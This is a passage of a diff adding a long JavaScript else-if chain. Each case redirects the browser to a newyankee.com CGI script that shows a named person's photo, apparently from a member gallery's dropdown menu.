+ else if (jumpto == [8]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arkevinc.jpg";
+ else if (jumpto == [9]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arpaulmoore.jpg";
+ else if (jumpto == [10]) window.location = "http://www.newyankee.com/GetYankees2.cgi?auphillaird.jpg";
+ else if (jumpto == [11]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azbillhensley.jpg";
+ else if (jumpto == [12]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azcharleshollandjr.jpg";
+ else if (jumpto == [13]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdaveholland.jpg";
+ else if (jumpto == [14]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdavidholland.jpg";
+ else if (jumpto == [15]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdonaldvogt.jpg";
+ else if (jumpto == [16]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azernestortega.jpg";
+ else if (jumpto == [17]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjeromekeller.jpg";
+ else if (jumpto == [18]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjimpegfulton.jpg";
+ else if (jumpto == [19]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjohnbelcher.jpg";
+ else if (jumpto == [20]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azmikejordan.jpg";
+ else if (jumpto == [21]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azrickemry.jpg";
+ else if (jumpto == [22]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azstephensavage.jpg";
+ else if (jumpto == [23]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azsteveferguson.jpg";
+ else if (jumpto == [24]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aztjhorrall.jpg";
+ else if (jumpto == [25]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabillmeiners.jpg";
+ else if (jumpto == [26]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabobhadley.jpg";
+ else if (jumpto == [27]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caboblennox.jpg";
+ else if (jumpto == [28]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabryanshurtz.jpg";
+ else if (jumpto == [29]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabyroncleveland.jpg";
+ else if (jumpto == [30]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cacesarjimenez.jpg";
+ else if (jumpto == [31]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadalekirstine.jpg";
+ else if (jumpto == [32]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadavidlgoeffrion.jpg";
+ else if (jumpto == [33]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadennisnocerini.jpg";
+ else if (jumpto == [34]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadianemason.jpg";
+ else if (jumpto == [35]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadominicpieranunzio.jpg";
+ else if (jumpto == [36]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadonaldmotter.jpg";
+ else if (jumpto == [37]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadoncroner.jpg";
+ else if (jumpto == [38]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caelizabethwright.jpg";
+ else if (jumpto == [39]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caericlew.jpg";
+ else if (jumpto == [40]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafrancissmith.jpg";
+ else if (jumpto == [41]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafranklombano.jpg";
+ else if (jumpto == [42]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajaredweaver.jpg";
+ else if (jumpto == [43]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajerrythompson.jpg";
+ else if (jumpto == [44]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajimjanssen";
+ else if (jumpto == [45]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohncopolillo.jpg";
+ else if (jumpto == [46]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohnmessick.jpg";
+ else if (jumpto == [47]) window.location = "http://www.newyankee.com/GetYankees2.cgi?calaynedicker.jpg";
+ else if (jumpto == [48]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caleeannrucker.jpg";
+ else if (jumpto == [49]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camathewsscharch.jpg";
+ else if (jumpto == [50]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikedunn.jpg";
+ else if (jumpto == [51]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshay.jpg";
+ else if (jumpto == [52]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshepherd.jpg";
+ else if (jumpto == [53]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caphillipfreer.jpg";
+ else if (jumpto == [54]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carandy.jpg";
+ else if (jumpto == [55]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carichardwilliams.jpg";
+ else if (jumpto == [56]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carickgruen.jpg";
+ else if (jumpto == [57]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cascottbartsch.jpg";
+ else if (jumpto == [58]) window.location = "http://www.newyankee.com/GetYankees2.cgi?castevestrapac.jpg";
+ else if (jumpto == [59]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catimwest.jpg";
+ else if (jumpto == [60]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catomrietveld.jpg";
+ else if (jumpto == [61]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalainpaquette.jpg";
+ else if (jumpto == [62]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalanhill.jpg";
+ else if (jumpto == [63]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalguerette.jpg";
+ else if (jumpto == [64]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrianhogg.jpg";
+ else if (jumpto == [65]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrucebeard.jpg";
+ else if (jumpto == [66]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cncraigdavey.jpg";
+ else if (jumpto == [67]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndanielpattison.jpg";
+ else if (jumpto == [68]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndenisstjean.jpg";
+ else if (jumpto == [69]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnglenngray.jpg";
+ else if (jumpto == [70]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjeansebastienduguay.jpg";
+ else if (jumpto == [71]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjohnbritz.jpg";
+ else if (jumpto == [72]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnkevinmclean.jpg";
+ else if (jumpto == [73]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcandrecartier.jpg";
+ else if (jumpto == [74]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcleblanc.jpg";
+ else if (jumpto == [75]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmatthewgiles.jpg";
+ else if (jumpto == [76]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmichelrauzon.jpg";
+ else if (jumpto == [77]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnpierrelalonde.jpg";
+ else if (jumpto == [78]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnraytyson.jpg";
+ else if (jumpto == [79]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrichardboucher.jpg";
+ else if (jumpto == [80]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrodbuike.jpg";
+ else if (jumpto == [81]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnscottpitkeathly.jpg";
+ else if (jumpto == [82]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnshawndavis.jpg";
+ else if (jumpto == [83]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnstephanepelletier.jpg";
+ else if (jumpto == [84]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntodddesroches.jpg";
+ else if (jumpto == [85]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntonyharnum.jpg";
+ else if (jumpto == [86]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnwayneconabree.jpg";
+ else if (jumpto == [87]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codavidjbarber.jpg";
+ else if (jumpto == [88]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codonrandquist.jpg";
+ else if (jumpto == [89]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojeffpalese.jpg";
+ else if (jumpto == [90]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojohnlowell.jpg";
+ else if (jumpto == [91]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cotroytorgerson.jpg";
+ else if (jumpto == [92]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctgerrygranatowski.jpg";
+ else if (jumpto == [93]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctjasonklein.jpg";
+ else if (jumpto == [94]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctkevinkiss.jpg";
+ else if (jumpto == [95]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctmikekennedy.jpg";
+ else if (jumpto == [96]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalancanfield.jpg";
+ else if (jumpto == [97]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalbertgonzalez.jpg";
+ else if (jumpto == [98]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flbruceloy.jpg";
+ else if (jumpto == [99]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldandevault.jpg";
+ else if (jumpto == [100]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldonstclair.jpg";
+ else if (jumpto == [101]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flernestbonnell.jpg";
+ else if (jumpto == [102]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgeorgebarg.jpg";
+ else if (jumpto == [103]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregslavinski.jpg";
+ else if (jumpto == [104]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregwaters.jpg";
+ else if (jumpto == [105]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flharoldmiller.jpg";
+ else if (jumpto == [106]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fljackwelch.jpg";
+ else if (jumpto == [107]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flmichaelostrowski.jpg";
+ else if (jumpto == [108]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpauldoman.jpg";
+ else if (jumpto == [109]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpaulsessions.jpg";
+ else if (jumpto == [110]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrandymys.jpg";
+ else if (jumpto == [111]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flraysarnowski.jpg";
+ else if (jumpto == [112]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrobertcahill.jpg";
+ else if (jumpto == [113]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevemorrison.jpg";
+ else if (jumpto == [114]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevezellner.jpg";
+ else if (jumpto == [115]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flterryjennings.jpg";
+ else if (jumpto == [116]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltimmcwilliams.jpg";
+ else if (jumpto == [117]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltomstellhorn.jpg";
+ else if (jumpto == [118]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabobkoch.jpg";
+ else if (jumpto == [119]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabrucekinney.jpg";
+ else if (jumpto == [120]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gadickbesemer.jpg";
+ else if (jumpto == [121]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajackclunen.jpg";
+ else if (jumpto == [122]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajayhart.jpg";
+ else if (jumpto == [123]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajjgeller.jpg";
+ else if (jumpto == [124]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gakeithlacey.jpg";
+ else if (jumpto == [125]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamargieminutello.jpg";
+ else if (jumpto == [126]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamarvinearnest.jpg";
+ else if (jumpto == [127]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeschwarz.jpg";
+ else if (jumpto == [128]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeyee.jpg";
+ else if (jumpto == [129]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garickdubree.jpg";
+ else if (jumpto == [130]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garobimartin.jpg";
+ else if (jumpto == [131]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gastevewaddell.jpg";
+ else if (jumpto == [132]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gathorwiggins.jpg";
+ else if (jumpto == [133]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawadewylie.jpg";
+ else if (jumpto == [134]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawaynerobinson.jpg";
+ else if (jumpto == [135]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gepaulwestbury.jpg";
+ else if (jumpto == [136]) window.location = "http://www.newyankee.com/GetYankees2.cgi?grstewartcwolfe.jpg";
+ else if (jumpto == [137]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gugregmesa.jpg";
+ else if (jumpto == [138]) window.location = "http://www.newyankee.com/GetYankees2.cgi?hibriantokunaga.jpg";
+ else if (jumpto == [139]) window.location = "http://www.newyankee.com/GetYankees2.cgi?himatthewgrady.jpg";
+ else if (jumpto == [140]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iabobparnell.jpg";
+ else if (jumpto == [141]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iadougleonard.jpg";
+ else if (jumpto == [142]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajayharmon.jpg";
+ else if (jumpto == [143]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajohnbevier.jpg";
+ else if (jumpto == [144]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iamartywitt.jpg";
+ else if (jumpto == [145]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idjasonbartschi.jpg";
+ else if (jumpto == [146]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idkellyklaas.jpg";
+ else if (jumpto == [147]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idmikegagnon.jpg";
+ else if (jumpto == [148]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idrennieheuer.jpg";
+ else if (jumpto == [149]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilbenshakman.jpg";
+ else if (jumpto == [150]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilcraigstocks.jpg";
+ else if (jumpto == [151]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ildaverubini.jpg";
+ else if (jumpto == [152]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iledpepin.jpg";
+ else if (jumpto == [153]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilfredkirpec.jpg";
+ else if (jumpto == [154]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoecreed.jpg";
+ else if (jumpto == [155]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljohnknuth.jpg";
+ else if (jumpto == [156]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoshhill.jpg";
+ else if (jumpto == [157]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkeithrichard.jpg";
+ else if (jumpto == [158]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkrystleweber.jpg";
+ else if (jumpto == [159]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmattmusich.jpg";
+ else if (jumpto == [160]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmichaellane.jpg";
+ else if (jumpto == [161]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrodneyschwandt.jpg";
+ else if (jumpto == [162]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrogeraukerman.jpg";
+ else if (jumpto == [163]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottbreeden.jpg";
+ else if (jumpto == [164]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottgerami.jpg";
+ else if (jumpto == [165]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilsteveritt.jpg";
+ else if (jumpto == [166]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilthomasfollin.jpg";
+ else if (jumpto == [167]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilwaynesmith.jpg";
+ else if (jumpto == [168]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inallenwimberly.jpg";
+ else if (jumpto == [169]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inbutchmyers.jpg";
+ else if (jumpto == [170]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inderrickbentley.jpg";
+ else if (jumpto == [171]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inedmeissler.jpg";
+ else if (jumpto == [172]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ingarymartin.jpg";
+ else if (jumpto == [173]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injasondavis.jpg";
+ else if (jumpto == [174]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffjones.jpg";
+ else if (jumpto == [175]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffwilliams.jpg";
+ else if (jumpto == [176]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injpreslyharrington.jpg";
+ else if (jumpto == [177]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inrichardlouden.jpg";
+ else if (jumpto == [178]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inronmorrell.jpg";
+ else if (jumpto == [179]) window.location = "http://www.newyankee.com/GetYankees2.cgi?insearsweaver.jpg";
+ else if (jumpto == [180]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irpaullaverty.jpg";
+ else if (jumpto == [181]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irseamusmcbride.jpg";
+ else if (jumpto == [182]) window.location = "http://www.newyankee.com/GetYankees2.cgi?isazrielmorag.jpg";
+ else if (jumpto == [183]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksalankreifels.jpg";
+ else if (jumpto == [184]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksbrianbudden.jpg";
+ else if (jumpto == [185]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksgarypahls.jpg";
+ else if (jumpto == [186]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikefarnet.jpg";
+ else if (jumpto == [187]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikethomas.jpg";
+ else if (jumpto == [188]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kstomzillig.jpg";
+ else if (jumpto == [189]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kybillyandrews.jpg";
+ else if (jumpto == [190]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kydaveryno.jpg";
+ else if (jumpto == [191]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kygreglaramore.jpg";
+ else if (jumpto == [192]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kywilliamanderson.jpg";
+ else if (jumpto == [193]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kyzachschuyler.jpg";
+ else if (jumpto == [194]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laadriankliebert.jpg";
+ else if (jumpto == [195]) window.location = "http://www.newyankee.com/GetYankees2.cgi?labarryhumphus.jpg";
+ else if (jumpto == [196]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ladennisanders.jpg";
+ else if (jumpto == [197]) window.location = "http://www.newyankee.com/GetYankees2.cgi?larichardeckert.jpg";
+ else if (jumpto == [198]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laronjames.jpg";
+ else if (jumpto == [199]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lasheldonstutes.jpg";
+ else if (jumpto == [200]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lastephenstarbuck.jpg";
+ else if (jumpto == [201]) window.location = "http://www.newyankee.com/GetYankees2.cgi?latroyestonich.jpg";
+ else if (jumpto == [202]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lavaughntrosclair.jpg";
+ else if (jumpto == [203]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalexbrown.jpg";
+ else if (jumpto == [204]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalwencl.jpg";
+ else if (jumpto == [205]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mabrentmills.jpg";
+ else if (jumpto == [206]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madangodziff.jpg";
+ else if (jumpto == [207]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madanielwilusz.jpg";
+ else if (jumpto == [208]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madavidreis.jpg";
+ else if (jumpto == [209]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madougrecko.jpg";
+ else if (jumpto == [210]) window.location = "http://www.newyankee.com/GetYankees2.cgi?majasonhaley.jpg";
+ else if (jumpto == [211]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maklausjensen.jpg";
+ else if (jumpto == [212]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mamikemarland.jpg";
+ else if (jumpto == [213]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mapetersilvestre.jpg";
+ else if (jumpto == [214]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maraysweeney.jpg";
+ else if (jumpto == [215]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdallenbarnett.jpg";
+ else if (jumpto == [216]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdcharleswasson.jpg";
+ else if (jumpto == [217]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdedbaranowski.jpg";
+ else if (jumpto == [218]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfranktate.jpg";
+ else if (jumpto == [219]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfredschock.jpg";
+ else if (jumpto == [220]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdianstjohn.jpg";
+ else if (jumpto == [221]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdjordanevans.jpg";
+ else if (jumpto == [222]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdpaulwjones.jpg";
+ else if (jumpto == [223]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mestevesandelier.jpg";
+ else if (jumpto == [224]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mewilbertrbrown.jpg";
+ else if (jumpto == [225]) window.location = "http://www.newyankee.com/GetYankees2.cgi?midavidkeller.jpg";
+ else if (jumpto == [226]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migaryvandenberg.jpg";
+ else if (jumpto == [227]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migeorgeberlinger.jpg";
+ else if (jumpto == [228]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijamesstapleton.jpg";
+ else if (jumpto == [229]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijerryhaney.jpg";
+ else if (jumpto == [230]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijohnrybarczyk.jpg";
+ else if (jumpto == [231]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikeithvalliere.jpg";
+ else if (jumpto == [232]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikevinpodsiadlik.jpg";
+ else if (jumpto == [233]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimarkandrews.jpg";
+ else if (jumpto == [234]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikedecaussin.jpg";
+ else if (jumpto == [235]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikesegorski.jpg";
+ else if (jumpto == [236]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mirobertwolgast.jpg";
+ else if (jumpto == [237]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitimothybruner.jpg";
+ else if (jumpto == [238]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitomweaver.jpg";
+ else if (jumpto == [239]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbobgontarek.jpg";
+ else if (jumpto == [240]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbradbuffington.jpg";
+ else if (jumpto == [241]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mndavewilson.jpg";
+ else if (jumpto == [242]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mngenerajanen.jpg";
+ else if (jumpto == [243]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnjohnkempkes.jpg";
+ else if (jumpto == [244]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnkevinhurbanis.jpg";
+ else if (jumpto == [245]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnmarklansink.jpg";
+ else if (jumpto == [246]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpaulmayer.jpg";
+ else if (jumpto == [247]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpauloman.jpg";
+ else if (jumpto == [248]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnwoodylobnitz.jpg";
+ else if (jumpto == [249]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mocurtkempf.jpg";
+ else if (jumpto == [250]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojerryhenry.jpg";
+ else if (jumpto == [251]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimfinney.jpg";
+ else if (jumpto == [252]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimrecamper.jpg";
+ else if (jumpto == [253]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohntimmons.jpg";
+ else if (jumpto == [254]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohnvaughan.jpg";
+ else if (jumpto == [255]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mokenroberts.jpg";
+ else if (jumpto == [256]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momacvoss.jpg";
+ else if (jumpto == [257]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momarktemmer.jpg";
+ else if (jumpto == [258]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mopaulzerjav.jpg";
+ else if (jumpto == [259]) window.location = "http://www.newyankee.com/GetYankees2.cgi?morobtigner.jpg";
+ else if (jumpto == [260]) window.location = "http://www.newyankee.com/GetYankees2.cgi?motomantrim.jpg";
+ else if (jumpto == [261]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mscharleshahn.jpg";
+ else if (jumpto == [262]) window.location = "http://www.newyankee.com/GetYankees2.cgi?msjohnjohnson.jpg";
+ else if (jumpto == [263]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncandrelopez.jpg";
+ else if (jumpto == [264]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncedorisak.jpg";
+ else if (jumpto == [265]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjimisbell.jpg";
+ else if (jumpto == [266]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjohnnydark.jpg";
+ else if (jumpto == [267]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinebert.jpg";
+ else if (jumpto == [268]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinulmer.jpg";
+ else if (jumpto == [269]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncpeteparis.jpg";
+ else if (jumpto == [270]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncstevelindsley.jpg";
+ else if (jumpto == [271]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctimsmith.jpg";
+ else if (jumpto == [272]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctonylawrence.jpg";
+ else if (jumpto == [273]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncwyneaston.jpg";
+ else if (jumpto == [274]) window.location = "http://www.newyankee.com/GetYankees2.cgi?neberniedevlin.jpg";
+ else if (jumpto == [275]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nebrentesmoil.jpg";
+ else if (jumpto == [276]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nescottmccullough.jpg";
+ else if (jumpto == [277]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhalantarring.jpg";
+ else if (jumpto == [278]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbjmolinari.jpg";
+ else if (jumpto == [279]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbrianmolinari.jpg";
+ else if (jumpto == [280]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdanhorning.jpg";
+ else if (jumpto == [281]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdonblackden.jpg";
+ else if (jumpto == [282]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjimcalandriello.jpg";
+ else if (jumpto == [283]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohngunterman.jpg";
+ else if (jumpto == [284]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohnmagyar.jpg";
